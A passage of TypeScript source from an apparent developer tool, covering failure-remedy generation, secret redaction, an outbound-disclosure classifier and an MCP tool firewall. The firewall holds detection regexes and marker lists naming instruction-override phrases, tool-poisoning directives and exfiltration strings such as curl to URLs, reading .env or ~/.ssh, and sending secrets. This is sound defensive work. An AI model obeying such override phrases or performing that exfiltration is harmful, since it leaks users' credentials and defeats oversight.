--------------------------------------------------------\n\ninterface RemedyOutcome {\n created: string[];\n remedyRef?: string;\n}\n\nasync function createRemedy(\n root: string,\n failure: LearnedFailure,\n deps: LearnDeps,\n): Promise<RemedyOutcome> {\n switch (failure.remedyKind) {\n case 'regression-check': {\n const file = await writeRegressionNote(root, failure);\n return { created: [file], remedyRef: file };\n }\n case 'skill': {\n const skills = deps.skills ?? new SkillStore(root);\n const skill = buildSkill(failure);\n assertValidSkill(skill, 'learning');\n const saved = await skills.save(skill);\n return { created: [path.join(skillsDir(root), `${saved.id}.json`)], remedyRef: saved.id };\n }\n case 'rule':\n case 'workflow':\n case 'stack-pack': {\n const memory = deps.memory ?? new MemoryLedger(root);\n const evidence = deps.evidence ?? new EvidenceLedger(root);\n const refs = await matchingEvidenceRefs(evidence, failure.signature);\n const item = await memory.add(buildMemoryInput(failure, refs));\n const file = path.join(workspacePaths(root).memoryDir, `${item.id}.json`);\n return { created: [file], remedyRef: item.id };\n }\n case 'known-failure':\n return { created: [] };\n default: {\n // Exhaustiveness guard: unreachable for a schema-valid LearningRemedy.\n const exhaustive: never = failure.remedyKind;\n throw new SchemaValidationError(`Unknown remedy kind \"${String(exhaustive)}\".`);\n }\n }\n}\n\n/** Atomically write a human-readable regression note beside the failure record. */\nasync function writeRegressionNote(root: string, failure: LearnedFailure): Promise<string> {\n const dir = knownFailuresDir(root);\n const file = path.join(dir, `${failure.id}.regression.md`);\n const tmp = path.join(dir, `.${failure.id}.regression.${randomUUID()}.md.tmp`);\n try {\n await mkdir(dir, { recursive: true });\n await writeFile(tmp, renderRegressionNote(failure), 'utf8');\n await rename(tmp, file);\n } catch (err) {\n await rm(tmp, { force: true }).catch(() => undefined);\n throw new DevCortexError('INTERNAL', `Unable to write regression note to ${file}.`, {\n cause: err,\n });\n }\n return file;\n}\n\nfunction renderRegressionNote(failure: LearnedFailure): string {\n return [\n `# Regression check: ${failure.id}`,\n '',\n `- **Signature:** \\`${failure.signature}\\``,\n `- **Observed:** ${failure.occurrences}×`,\n `- **Diagnosis:** ${failure.diagnosis.category} — ${failure.diagnosis.cause}`,\n '',\n '## Check',\n '',\n 'Before shipping a change that touches this area, reproduce and confirm the',\n 'previously-refuted check now passes:',\n '',\n '```',\n failure.signature,\n '```',\n '',\n 'This note is transparent and editable — refine the check as the fix hardens.',\n '',\n ].join('\\n');\n}\n\n// --- generated skill --------------------------------------------------------\n\n/** Deterministic per-category checklist steps prepended to the common ones. */\nconst CHECKLIST_BY_CATEGORY: Record<FailureCategory, string[]> = {\n 'missing-context': ['Gather the surrounding files, types and env before editing.'],\n 'missing-skill': ['Capture the proven approach as a reusable, checklisted skill.'],\n 'outdated-docs': ['Confirm the current supported API/version before using it.'],\n 'wrong-package': ['Verify the package name, export and version actually resolve.'],\n 'bad-rule': ['Reconcile the change with the offending lint/style rule (fix code or the rule).'],\n 'missing-test': ['Add or update a test that reproduces the failure first.'],\n 'weak-agent': ['Slow down: restate the goal and constraints before acting.'],\n 'missing-mcp': ['Confirm the required MCP/tool is installed and reachable first.'],\n};\n\nfunction buildSkill(failure: LearnedFailure): SkillManifest {\n const now = new Date().toISOString();\n return {\n id: `remedy-${failure.id}`,\n name: `Remedy for recurring ${failure.diagnosis.category} failure`,\n description: `Auto-generated from ${failure.occurrences} recurring failures. ${failure.diagnosis.cause}`,\n triggers: skillTriggers(failure),\n checklist: [\n ...CHECKLIST_BY_CATEGORY[failure.diagnosis.category],\n `Reproduce the recorded failure before editing (signature: ${failure.signature}).`,\n 'Fix the root cause, not the symptom; do not suppress the error.',\n 'Re-run the exact check that was refuted and confirm it now passes.',\n ],\n commands: [],\n antiPatterns: [`Repeating the change that produced: ${failure.signature}`],\n mcpRecommendations: [],\n status: 'experimental',\n source: 'project-generated',\n createdAt: now,\n updatedAt: now,\n };\n}\n\n/** Non-empty trigger set: the category plus meaningful signature keywords. */\nfunction skillTriggers(failure: LearnedFailure): string[] {\n const stop = new Set(['cmd', 'exit', 'claim']);\n const seen = new Set<string>();\n const out: string[] = [];\n for (const token of [failure.diagnosis.category, ...signatureTokens(failure.signature)]) {\n if (token.length > 0 && !stop.has(token) && !seen.has(token)) {\n seen.add(token);\n out.push(token);\n }\n }\n return out.slice(0, 8);\n}\n\n// --- generated memory -------------------------------------------------------\n\nfunction buildMemoryInput(failure: LearnedFailure, evidence: EvidenceRef[]): MemoryInput {\n const type: MemoryType = failure.remedyKind === 'rule' ? 'risk' : 'pattern';\n const riskLevel: RiskLevel = type === 'risk' ? 'high' : 'medium';\n return {\n type,\n title: `Recurring ${failure.diagnosis.category} failure`,\n summary: `${failure.diagnosis.cause} Observed ${failure.occurrences}×. Remedy kind: ${failure.remedyKind}.`,\n source: 'learning-engine',\n confidence: learnedConfidence(failure.occurrences),\n evidence,\n relatedFiles: [],\n relatedFeatures: [],\n riskLevel,\n };\n}\n\n/** Confidence grows with observed recurrences but never reaches certainty. */\nfunction learnedConfidence(occurrences: number): number {\n return Math.min(0.95, 0.5 + 0.1 * occurrences);\n}\n\n/** Refuted evidence refs whose signature matches — the memory's evidence base. */\nasync function matchingEvidenceRefs(\n evidence: EvidenceLedger,\n signature: string,\n): Promise<EvidenceRef[]> {\n const items = await evidence.all();\n const refs: EvidenceRef[] = [];\n for (const item of items) {\n if (item.status === 'refuted' && evidenceSignature(item) === signature) {\n refs.push({ id: item.id, claim: item.claim, status: item.status });\n if (refs.length >= MAX_EVIDENCE_REFS) {\n break;\n }\n }\n }\n return refs;\n}\n","// ============================================================================\n// KnownFailureStore (§7.17) — file-backed persistence for learned failures under\n// `.cortex/known-failures/<id>.json`.\n//\n// Reuses the shared JsonLedger base (from ../ledgers) so a learned failure gets\n// the exact same durability guarantees as every other `.cortex/` artifact:\n// writes are atomic (temp file + rename in the same directory), every read is\n// re-validated against the domain LearnedFailureSchema (a corrupt or hand-edited\n// file surfaces as a LedgerError instead of silently poisoning recommendations),\n// and unsafe ids are rejected before they become file names.\n//\n// `paths.ts` owns the canonical `.cortex/` layout but predates the learning\n// engine and has no `knownFailuresDir`, so the directory is derived from the\n// exposed `cortexDir` — one join, no duplication of the layout knowledge\n// (mirrors how the skill store derives `skillsDir`).\n// ============================================================================\n\nimport path from 'node:path';\n\nimport { LearnedFailureSchema } from '../domain/index';\nimport type { LearnedFailure } from '../domain/index';\nimport { JsonLedger } from '../ledgers/index';\nimport { workspacePaths } from '../workspace/index';\n\n/** Absolute path of the `.cortex/known-failures` directory for a repo root. */\nexport function knownFailuresDir(root: string): string {\n return path.join(workspacePaths(root).cortexDir, 'known-failures');\n}\n\n/** Absolute path of the persisted record file for one learned failure id. */\nexport function knownFailureFile(root: string, id: string): string {\n return path.join(knownFailuresDir(root), `${id}.json`);\n}\n\n/**\n * Project-scoped store of learned failures, keyed by their content-addressed id\n * (see `failureId`). Self-initializes its backing directory on the first write,\n * so it works on a repo that has not yet run `devcortex init`.\n */\nexport class KnownFailureStore extends JsonLedger<LearnedFailure> {\n constructor(root: string) {\n super(root, knownFailuresDir(root), LearnedFailureSchema, 'known-failure');\n }\n\n /**\n * Validate `failure` against the disk contract and persist it atomically,\n * overwriting any existing record with the same id. Returns the schema-parsed\n * value actually written.\n */\n async save(failure: LearnedFailure): Promise<LearnedFailure> {\n return this.persist(failure);\n }\n}\n\n/** All persisted learned failures, most-recurring first (then signature asc). */\nexport async function knownFailures(root: string): Promise<LearnedFailure[]> {\n const records = await new KnownFailureStore(root).all();\n records.sort(byOccurrencesThenSignature);\n return records;\n}\n\n/** Stable ordering: most occurrences first, ties broken by signature ascending. */\nexport function byOccurrencesThenSignature(a: LearnedFailure, b: LearnedFailure): number {\n if (a.occurrences !== b.occurrences) {\n return b.occurrences - a.occurrences;\n }\n if (a.signature === b.signature) {\n return 0;\n }\n return a.signature < b.signature ? -1 : 1;\n}\n","// ============================================================================\n// Privacy & Redaction Engine (§7.22) — text + object redaction (canonical).\n//\n// `redactText(text)` scans a buffer for the sensitive-material classes declared\n// in the frozen domain contract (domain/redaction.ts: REDACTION_KINDS) and\n// returns the buffer with every match masked as `[REDACTED:<kind>]`, plus a\n// per-kind tally. It is deterministic and tokenless (no LLM, no network): the\n// same input always yields the same output, which is what makes it safe to run\n// on the hot path before anything leaves the machine.\n//\n// Detectors run in a fixed precedence order (most-specific first) so each byte\n// of input is masked at most once and attributed to exactly one kind: a value\n// already rewritten to `[REDACTED:...]` can never be re-matched by a later\n// detector because the `[`/`]`/`:` characters are excluded from every value\n// character class.\n//\n// `redactObject(obj)` deep-walks arbitrary data: string leaves are\n// content-redacted via `redactText`, and any value under a key that *looks*\n// secret is masked wholesale (the key implies the value is sensitive regardless\n// of its shape). Cycles + shared references are preserved via a visited-map, so\n// the walk always terminates.\n//\n// -------------------------------------------------------------------------\n// INTEGRATION NOTE (sub-project #5, Tier-1 seam)\n// -------------------------------------------------------------------------\n// This is the canonical `redactText` — the `../redaction` dependency consumed\n// by mcp-firewall. `redaction/index.ts` re-exports it, so\n// `import { redactText } from '../redaction'` resolves here unchanged. The\n// detector logic is the one first stood up as the firewall's Tier-1 seam; it is\n// kept intact and extended with `redactObject` (this file) + `classifyOutbound`\n// (./outbound) to complete the §7.22 public API.\n//\n// Convention: relative imports omit extensions; value + type imports split for\n// `verbatimModuleSyntax`.\n// ============================================================================\n\nimport { REDACTION_KINDS, SchemaValidationError } from '../domain/index';\nimport type { RedactionFinding, RedactionKind, RedactionResult } from '../domain/index';\n\n// --- masks ------------------------------------------------------------------\n\n/** The stable placeholder a detected secret/PII occurrence is replaced with. */\nfunction mask(kind: RedactionKind): string {\n return `[REDACTED:${kind}]`;\n}\n\n// --- detector model ---------------------------------------------------------\n\n/**\n * A single detector. `re` MUST be global (so `String.replace` masks every\n * occurrence). `render` receives the string capture groups (`groups[0]` is the\n * whole match, `groups[1]` the first capture, …) and returns the replacement:\n * - \"full\" detectors ignore the groups and return just the mask;\n * - \"value\" detectors preserve a captured prefix (key/quote/`=`) and mask only\n * the secret value, so `\"token\":\"abc\"` becomes `\"token\":\"[REDACTED:token]\"`.\n */\ninterface Detector {\n kind: RedactionKind;\n re: RegExp;\n render: (groups: string[]) => string;\n}\n\n/** Value character class shared by the assignment detectors. Excludes the\n * mask's own delimiters (`[` `]` `:` and the bracket/quote family) so an\n * already-masked value is never matched a second time, and stops the value at\n * the natural JSON / shell / query terminators. */\nconst VALUE = `[^\\\\s\"'\\`,;{}\\\\[\\\\]()<>]+`;\n\n/** Build a detector for `NAME = VALUE` / `\"name\":\"value\"` style assignments\n * whose key contains one of `keyword`. Preserves everything up to and including\n * the opening delimiter/quote (capture 1) and masks only the value (capture 2).\n * The leading boundary is captured so it is re-emitted verbatim. */\nfunction assignment(kind: RedactionKind, keyword: string): Detector {\n const re = new RegExp(\n `((?:^|[\\\\s;,{\\\\[(])(?:export\\\\s+)?[\"']?[\\\\w.\\\\-]*(?:${keyword})[\\\\w.\\\\-]*[\"']?\\\\s*[:=]\\\\s*[\"']?)(${VALUE})`,\n 'gi',\n );\n return { kind, re, render: (g) => `${g[1] ?? ''}${mask(kind)}` };\n}\n\n/** Build a \"full match\" detector that masks the entire matched token. */\nfunction standalone(kind: RedactionKind, re: RegExp): Detector {\n return { kind, re, render: () => mask(kind) };\n}\n\n// --- detector precedence (specific -> general) ------------------------------\n\nconst DETECTORS: readonly Detector[] = [\n // 1. PEM private-key blocks (multi-line, non-greedy).\n standalone(\n 'private-key',\n /-----BEGIN (?:[A-Z0-9]+ )*PRIVATE KEY-----[\\s\\S]*?-----END (?:[A-Z0-9]+ )*PRIVATE KEY-----/g,\n ),\n\n // 2. Database / broker connection strings (mask the whole URL incl. creds).\n standalone(\n 'db-url',\n /\\b(?:postgres(?:ql)?|mysql|mariadb|mongodb(?:\\+srv)?|redis|rediss|amqps?|mssql|sqlserver):\\/\\/[^\\s\"'`<>{}[\\]()]+/gi,\n ),\n\n // 3. High-confidence, provider-prefixed API keys/tokens (attributed api-key).\n standalone(\n 'api-key',\n /\\b(?:sk-(?:ant-)?[A-Za-z0-9_-]{16,}|AIza[A-Za-z0-9_-]{16,}|AKIA[A-Z0-9]{16}|(?:ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{20,}|xox[baprs]-[A-Za-z0-9-]{10,}|(?:sk|pk|rk)_(?:live|test)_[A-Za-z0-9]{16,})\\b/g,\n ),\n // 4. `api_key = ...` / `\"apiKey\": \"...\"` assignments.\n assignment('api-key', 'api[_-]?key|apikey|access[_-]?key'),\n\n // 5. JSON Web Tokens (three base64url segments).\n standalone('token', /\\beyJ[A-Za-z0-9_-]{6,}\\.[A-Za-z0-9_-]{6,}\\.[A-Za-z0-9_-]{6,}\\b/g),\n // 6. `Authorization: Bearer <token>` — keep the scheme, mask the credential.\n {\n kind: 'token',\n re: /\\b(Bearer\\s+)([A-Za-z0-9._-]{12,})\\b/gi,\n render: (g) => `${g[1] ?? ''}${mask('token')}`,\n },\n // 7. `token = ...` / `\"accessToken\": \"...\"` assignments.\n assignment('token', 'token'),\n\n // 8. `secret = ...` / `\"clientSecret\": \"...\"` assignments.\n assignment('secret', 'secret'),\n\n // 9. `password = ...` / `\"passwd\": \"...\"` assignments.\n assignment('password', 'password|passwd|passphrase|pwd'),\n\n // 10. Email addresses (PII).\n standalone('pii-email', /\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}\\b/g),\n\n // 11. Phone numbers (PII) — require a separator/paren/leading + to curb FPs.\n standalone(\n 'pii-phone',\n /(?:\\+\\d{1,3}[\\s.-])?(?:\\(\\d{3}\\)[\\s.-]?|\\d{3}[\\s.-])\\d{3}[\\s.-]?\\d{4}\\b/g,\n ),\n\n // 12. Residual env-file secrets: ALL-CAPS NAME=<20+ tokenish chars> (runs\n // last so it only catches values the named detectors above did not).\n {\n kind: 'env',\n re: /((?:^|[\\s;,{])(?:export\\s+)?[A-Z][A-Z0-9_]{2,}\\s*=\\s*[\"']?)([A-Za-z0-9_\\-+/=.]{20,})/g,\n render: (g) => `${g[1] ?? ''}${mask('env')}`,\n },\n];\n\n// --- engine -----------------------------------------------------------------\n\n/**\n * Run a single detector across `text`, masking every match and counting how\n * many were replaced.\n *\n * The `String.replace` callback receives `(match, ...captures, offset, whole)`.\n * We drop the numeric `offset` (and any trailing whole-string / named-groups\n * arg) by keeping only string arguments; `groups[0]` is the whole match and\n * `groups[1..]` are the positional captures, which is all `render` consumes.\n */\nfunction applyDetector(text: string, detector: Detector): { out: string; count: number } {\n let count = 0;\n const out = text.replace(detector.re, (match: string, ...rest: unknown[]): string => {\n count += 1;\n const groups: string[] = [\n match,\n ...rest.filter((value): value is string => typeof value === 'string'),\n ];\n return detector.render(groups);\n });\n return { out, count };\n}\n\n/** Order a per-kind count map into stable `REDACTION_KINDS`-sequenced findings. */\nfunction orderFindings(counts: ReadonlyMap<RedactionKind, number>): RedactionFinding[] {\n const findings: RedactionFinding[] = [];\n for (const kind of REDACTION_KINDS) {\n const count = counts.get(kind);\n if (count !== undefined && count > 0) {\n findings.push({ kind, count });\n }\n }\n return findings;\n}\n\n/**\n * Mask every secret / PII occurrence in `text` and report a per-kind tally.\n *\n * Deterministic and side-effect free. `findings` lists only the kinds that\n * actually matched (`count >= 1`), ordered by the canonical `REDACTION_KINDS`\n * sequence so the output is stable across runs.\n *\n * @throws SchemaValidationError when `text` is not a string.\n */\nexport function redactText(text: string): RedactionResult {\n if (typeof text !== 'string') {\n throw new SchemaValidationError('redactText expects a string input.');\n }\n\n const counts = new Map<RedactionKind, number>();\n let working = text;\n for (const detector of DETECTORS) {\n const { out, count } = applyDetector(working, detector);\n if (count > 0) {\n working = out;\n counts.set(detector.kind, (counts.get(detector.kind) ?? 0) + count);\n }\n }\n\n return { redacted: working, findings: orderFindings(counts) };\n}\n\n// --- object redaction -------------------------------------------------------\n\n/**\n * Classify an object *key* as sensitive, mapping it to the redaction kind that\n * best describes the secret it holds. Deterministic; separator-insensitive\n * (`apiKey`, `api_key`, `API-KEY` all collapse to the same decision). Returns\n * `null` when the key does not look secret (its value is then content-redacted\n * normally rather than masked wholesale).\n */\nfunction classifyObjectKey(key: string): RedactionKind | null {\n const compact = key.toLowerCase().replace(/[_\\-.]/g, '');\n if (/pass(word|phrase|wd)?|pwd/.test(compact)) return 'password';\n if (compact.includes('apikey') || compact.includes('accesskey')) return 'api-key';\n if (compact.includes('token')) return 'token';\n if (\n compact.includes('secret') ||\n compact.includes('credential') ||\n compact.includes('privatekey') ||\n compact.includes('clientsecret') ||\n compact.includes('dsn')\n ) {\n return 'secret';\n }\n // separator-delimited `key` suffix (SIGNING_KEY, api-key) — but never \"monkey\"\n if (/(^|[_.-])key([_.-]|$)/.test(key.toLowerCase())) return 'secret';\n return null;\n}\n\n/** A primitive a sensitive key should mask entirely (rather than recurse into). */\nfunction isMaskableLeaf(value: unknown): boolean {\n const t = typeof value;\n return t === 'string' || t === 'number' || t === 'bigint' || t === 'boolean';\n}\n\n/** True for a plain, walkable object (not null, array, Date, Map, class, …). */\nfunction isPlainObject(value: unknown): value is Record<string, unknown> {\n if (typeof value !== 'object' || value === null) return false;\n const proto = Object.getPrototypeOf(value) as object | null;\n return proto === Object.prototype || proto === null;\n}\n\n/**\n * Deep-walk `obj`, returning a redacted clone plus merged findings.\n *\n * - String leaves are content-redacted via {@link redactText}.\n * - Any value under a key that {@link classifyObjectKey} deems secret is masked\n * wholesale — the key implies the value is sensitive regardless of its shape.\n * - Arrays and plain objects are cloned; every other value (numbers, booleans,\n * Dates, functions, …) passes through unchanged. Cycles + shared references\n * are preserved via a visited-map, so the walk always terminates.\n *\n * The input is never mutated.\n */\nexport function redactObject(obj: unknown): { redacted: unknown; findings: RedactionFinding[] } {\n const counts = new Map<RedactionKind, number>();\n const seen = new Map<object, unknown>();\n\n const bump = (kind: RedactionKind, by = 1): void => {\n counts.set(kind, (counts.get(kind) ?? 0) + by);\n };\n\n const walk = (value: unknown): unknown => {\n if (typeof value === 'string') {\n const result = redactText(value);\n for (const finding of result.findings) bump(finding.kind, finding.count);\n return result.redacted;\n }\n\n if (Array.isArray(value)) {\n const cached = seen.get(value);\n if (cached !== undefined) return cached;\n const clone: unknown[] = [];\n seen.set(value, clone);\n for (const item of value) clone.push(walk(item));\n return clone;\n }\n\n if (isPlainObject(value)) {\n const cached = seen.get(value);\n if (cached !== undefined) return cached;\n const clone: Record<string, unknown> = {};\n seen.set(value, clone);\n for (const [key, child] of Object.entries(value)) {\n const keyKind = classifyObjectKey(key);\n if (keyKind !== null && isMaskableLeaf(child)) {\n bump(keyKind);\n clone[key] = mask(keyKind);\n } else {\n clone[key] = walk(child);\n }\n }\n return clone;\n }\n\n return value;\n };\n\n const redacted = walk(obj);\n return { redacted, findings: orderFindings(counts) };\n}\n","// ============================================================================\n// Privacy & Redaction Engine (§7.22) — outbound disclosure classifier.\n//\n// `classifyOutbound` is the gate every cloud transmission passes through. Given\n// the candidate file set and the active privacy mode, it produces the\n// `OutboundManifest` the user must approve BEFORE anything leaves the machine:\n// which files, why, how large, redaction status, retention, and the opt-out\n// flag (§7.22). The mode is authoritative and fail-safe:\n//\n// local-only → NOTHING leaves. `files` is empty, `optOut` is true.\n// metadata-cloud → only anonymized file type + size leave; contents + paths\n// are withheld, so each entry carries the tiny metadata\n// payload's size, not the file's.\n// deep-cloud → file contents leave, redaction applied first; each entry's\n// `sizeBytes` is the size of the *redacted* payload.\n//\n// Files that cannot be read (missing, a directory, permission denied) or that\n// resolve outside the repo root are omitted — you cannot, and must not, send\n// what you cannot open or reach.\n//\n// Convention: relative imports omit extensions; value + type imports split for\n// `verbatimModuleSyntax`.\n// ============================================================================\n\nimport { readFile, stat } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { PRIVACY_MODES, DevCortexError } from '../domain/index';\nimport type { OutboundFile, OutboundManifest, PrivacyMode } from '../domain/index';\n\nimport { redactText } from './redact';\n\n/** Retention default per privacy mode (surfaced in the disclosure). */\nconst RETENTION: Record<PrivacyMode, string> = {\n 'local-only': 'none',\n 'metadata-cloud': '30d',\n 'deep-cloud': 'ephemeral',\n};\n\n/** Normalize an OS path to repo-relative POSIX for the manifest. */\nfunction toPosix(relative: string): string {\n return relative.split(path.sep).join('/');\n}\n\n/**\n * Classify the candidate `files` for outbound transmission under `mode`.\n *\n * @param root absolute (or resolvable) repo root; every file is resolved\n * against it and anything escaping it is dropped.\n * @param files repo-relative candidate paths.\n * @param mode the active privacy mode; determines what, if anything, may leave.\n * @throws DevCortexError `INTERNAL` when `root`/`files`/`mode` violate the\n * static contract (empty root, non-array files, unknown mode).\n */\nexport async function classifyOutbound(\n root: string,\n files: string[],\n mode: PrivacyMode,\n): Promise<OutboundManifest> {\n if (typeof root !== 'string' || root.length === 0) {\n throw new DevCortexError('INTERNAL', 'classifyOutbound: root must be a non-empty string');\n }\n if (!Array.isArray(files)) {\n throw new DevCortexError('INTERNAL', 'classifyOutbound: files must be an array of strings');\n }\n if (!(PRIVACY_MODES as readonly string[]).includes(mode)) {\n throw new DevCortexError('INTERNAL', `classifyOutbound: unknown privacy mode \"${String(mode)}\"`);\n }\n\n // local-only: nothing leaves — short-circuit before touching the disk.\n if (mode === 'local-only') {\n return { mode, files: [], totalBytes: 0, retention: RETENTION[mode], optOut: true };\n }\n\n const resolvedRoot = path.resolve(root);\n const rootPrefix = resolvedRoot.endsWith(path.sep) ? resolvedRoot : resolvedRoot + path.sep;\n const outbound: OutboundFile[] = [];\n\n for (const candidate of files) {\n if (typeof candidate !== 'string' || candidate.length === 0) continue;\n\n const abs = path.resolve(resolvedRoot, candidate);\n // Never send anything outside the repo root.\n if (abs !== resolvedRoot && !abs.startsWith(rootPrefix)) continue;\n\n let contents: string;\n let bytesOnDisk: number;\n try {\n const info = await stat(abs);\n if (!info.isFile()) continue;\n bytesOnDisk = info.size;\n contents = await readFile(abs, 'utf8');\n } catch {\n // Missing / unreadable → cannot send it → omit (fail-safe for privacy).\n continue;\n }\n\n const relPosix = toPosix(path.relative(resolvedRoot, abs));\n\n if (mode === 'metadata-cloud') {\n const ext = path.extname(abs).replace(/^\\./, '') || 'none';\n // Only anonymized type + size leave; the payload we measure is that metadata.\n const metadata = JSON.stringify({ ext, bytes: bytesOnDisk });\n outbound.push({\n path: relPosix,\n reason:\n 'metadata-cloud: only anonymized file type and size leave; path and contents are withheld.',\n sizeBytes: Buffer.byteLength(metadata, 'utf8'),\n redacted: true,\n });\n continue;\n }\n\n // deep-cloud: contents leave, redaction applied first.\n const { redacted, findings } = redactText(contents);\n const masked = findings.reduce((total, finding) => total + finding.count, 0);\n outbound.push({\n path: relPosix,\n reason:\n masked > 0\n ? `deep-cloud: selected for analysis; ${masked} secret/PII occurrence(s) redacted before send.`\n : 'deep-cloud: selected for analysis; contents scanned, no secrets detected.',\n sizeBytes: Buffer.byteLength(redacted, 'utf8'),\n redacted: true,\n });\n }\n\n const totalBytes = outbound.reduce((total, file) => total + file.sizeBytes, 0);\n return { mode, files: outbound, totalBytes, retention: RETENTION[mode], optOut: false };\n}\n","// ============================================================================\n// MCP Security Firewall (§7.20) — implementation.\n//\n// The firewall is the allow/deny/approval decision layer between an agent and\n// its MCP tools. Its configuration — an `McpPolicy` (domain/firewall.ts) — is a\n// PERSISTED artifact at `.cortex/policies/mcp-firewall.json`; the per-call\n// verdict — a `ToolCallEval` — is COMPUTED on demand and never persisted.\n//\n// Everything here is deterministic and tokenless (the OSS layer): no LLM calls,\n// no network. `evaluateToolCall` combines three signals into one verdict:\n// 1. rule matching — deny > allow > require-approval (deny is absolute);\n// 2. a 0-100 risk score derived from destructive/secret/network heuristics;\n// 3. prompt-injection scanning + secret redaction over the stringified args.\n// An `allow` verdict is escalated to `require-approval` when the call carries a\n// prompt-injection signal or an elevated risk score — fail toward asking a\n// human, never away from it.\n// ============================================================================\n\nimport { randomUUID } from 'node:crypto';\nimport { mkdir, readFile, rename, rm, writeFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { DevCortexError, McpPolicySchema, SchemaValidationError } from '../domain';\nimport type { FirewallDecision, McpPolicy, ToolCallEval } from '../domain';\nimport { redactText } from '../redaction';\nimport { workspacePaths } from '../workspace';\n\n// --- public types -----------------------------------------------------------\n\n/** A tool invocation submitted to the firewall for a verdict. */\nexport interface ToolCall {\n /** the MCP server id, e.g. `github` */\n server: string;\n /** the tool name on that server, e.g. `delete_branch` */\n tool: string;\n /** the arguments the agent wants to pass; any JSON-serialisable value */\n args?: unknown;\n}\n\n// --- risk heuristics --------------------------------------------------------\n\n/** Verbs whose presence in a tool name signals an irreversible mutation. */\nconst DESTRUCTIVE_VERBS: readonly string[] = [\n 'delete', 'del', 'rm', 'remove', 'drop', 'destroy', 'truncate', 'wipe',\n 'purge', 'erase', 'reset', 'revoke', 'deploy', 'push', 'force', 'overwrite',\n 'kill', 'terminate', 'shutdown', 'format', 'prune',\n];\n\n/** Verbs signalling a (possibly non-destructive) state mutation. */\nconst WRITE_VERBS: readonly string[] = [\n 'write', 'update', 'create', 'insert', 'modify', 'edit', 'set', 'put',\n 'patch', 'upload', 'send', 'post', 'merge', 'rename', 'move', 'add',\n];\n\n/** Substrings that indicate the tool touches secrets / credentials. */\nconst SECRET_MARKERS: readonly string[] = [\n 'secret', 'credential', 'token', 'password', 'passwd', 'apikey', 'api_key',\n 'api-key', 'private', 'read_all', 'readall', 'ssh', 'keychain', 'vault', 'env',\n];\n\n/** Substrings that indicate a network / exfiltration surface. */\nconst NETWORK_MARKERS: readonly string[] = [\n 'http://', 'https://', 'ftp://', 'ws://', 'wss://', 'fetch', 'curl', 'wget',\n 'xmlhttprequest', 'webhook', 'exfil', 'upload', 'request(',\n];\n\n/** Risk weights (points added to a 0-100 score, clamped). */\nconst RISK = {\n destructive: 45,\n write: 25,\n secretAccess: 30,\n network: 15,\n perInjection: 20,\n secretsInArgs: 20,\n} as const;\n\n/** At or above this score, an otherwise-allowed call escalates to approval. */\nconst RISK_ESCALATION_THRESHOLD = 70;\n\n// --- prompt-injection heuristics --------------------------------------------\n\n/** Ordered heuristic patterns; each hit contributes one stable reason string. */\nconst INJECTION_PATTERNS: ReadonlyArray<{ re: RegExp; reason: string }> = [\n {\n re: /\\b(?:ignore|disregard|forget|override)\\b[^.\\n]{0,40}\\b(?:previous|prior|above|earlier|all|the)\\b[^.\\n]{0,30}\\b(?:instruction|instructions|prompt|prompts|context|rule|rules|message|messages)\\b/i,\n reason: 'prompt-injection: instruction-override phrase',\n },\n {\n re: /(?:you are now|new instructions\\s*:|system prompt|reveal (?:your )?(?:system )?(?:prompt|instructions)|print (?:your )?instructions|act as (?:an? )?(?:dan|jailbreak|unrestricted)|<\\|?im_start\\|?>|\\[system\\])/i,\n reason: 'prompt-injection: system-role hijack',\n },\n {\n re: /(?:<tool|<function|do not (?:tell|inform|mention|reveal)[^.\\n]{0,20}(?:the )?user|without (?:telling|informing)[^.\\n]{0,20}(?:the )?user|hidden instruction|when (?:you )?(?:call|use|invoke) this tool)/i,\n reason: 'prompt-injection: tool-poisoning directive',\n },\n {\n re: /(?:exfiltrat|send (?:the )?(?:secret|secrets|token|api[_-]?key|password|credential|\\.env)|read[_\\s]?all[_\\s]?secrets|cat\\s+[^\\n]*\\.env|read\\s+~?\\/?\\.ssh|environment variables?[^.\\n]{0,20}(?:to|http)|post[^.\\n]{0,20}https?:\\/\\/|curl[^.\\n]{0,20}https?:\\/\\/)/i,\n reason: 'prompt-injection: data-exfiltration attempt',\n },\n {\n re: /\\b[A-Za-z0-9+/]{40,}={0,2}\\b/,\n reason: 'prompt-injection: suspicious base64 blob',\n },\n {\n // zero-width (200B-200F), bidi embedding/override (202A-202E),\n // word-joiner / invisible-operator / bidi-isolate (2060-206F) and\n // BOM / ZWNBSP (FEFF) — invisible control characters used to smuggle text.\n re: /[\\u200B-\\u200F\\u202A-\\u202E\\u2060-\\u206F\\uFEFF]/,\n reason: 'prompt-injection: hidden unicode control characters',\n },\n];\n\n/**\n * Scan `text` for known prompt-injection / tool-poisoning signals. Returns one\n * stable reason string per distinct pattern that fires, in declaration order;\n * an empty array means no signal. Deterministic and heuristic (no LLM).\n */\nexport function scanPromptInjection(text: string): string[] {\n if (typeof text !== 'string' || text.length === 0) {\n return [];\n }\n const hits: string[] = [];\n for (const { re, reason } of INJECTION_PATTERNS) {\n if (re.test(text)) {\n hits.push(reason);\n }\n }\n return hits;\n}\n\n// --- default policy ---------------------------------------------------------\n\n/**\n * The canonical, safe-by-default firewall policy: read-family scopes run\n * unattended, mutating/deploying/deleting scopes pause for approval, and the\n * three catastrophic scopes are denied outright. Callers may broaden or tighten\n * it and persist the result with {@link savePolicy}.\n */\nexport function defaultPolicy(): McpPolicy {\n return {\n allow: [\n '*.read',\n '*.read_*',\n '*.readonly',\n '*.list',\n '*.list_*',\n '*.get',\n '*.get_*',\n '*.search',\n '*.search_*',\n '*.describe',\n '*.status',\n ],\n requireApproval: [\n '*.write',\n '*.write_*',\n '*.update',\n '*.update_*',\n '*.create',\n '*.create_*',\n '*.delete',\n '*.delete_*',\n '*.remove',\n '*.deploy',\n '*.deploy_*',\n '*.push',\n '*.publish',\n '*.merge',\n ],\n deny: ['shell.rm', 'repo.delete', 'secrets.read_all'],\n budgets: {},\n dryRun: false,\n };\n}\n\n// --- policy persistence ------------------------------------------------------\n\n/**\n * Load and validate the firewall policy from\n * `.cortex/policies/mcp-firewall.json`. Returns {@link defaultPolicy} when no\n * policy file exists yet (a fresh workspace is governed by the safe defaults).\n *\n * @throws SchemaValidationError when the file exists but is not valid JSON or\n * fails {@link McpPolicySchema}.\n * @throws DevCortexError `INTERNAL` on unexpected I/O failure.\n */\nexport 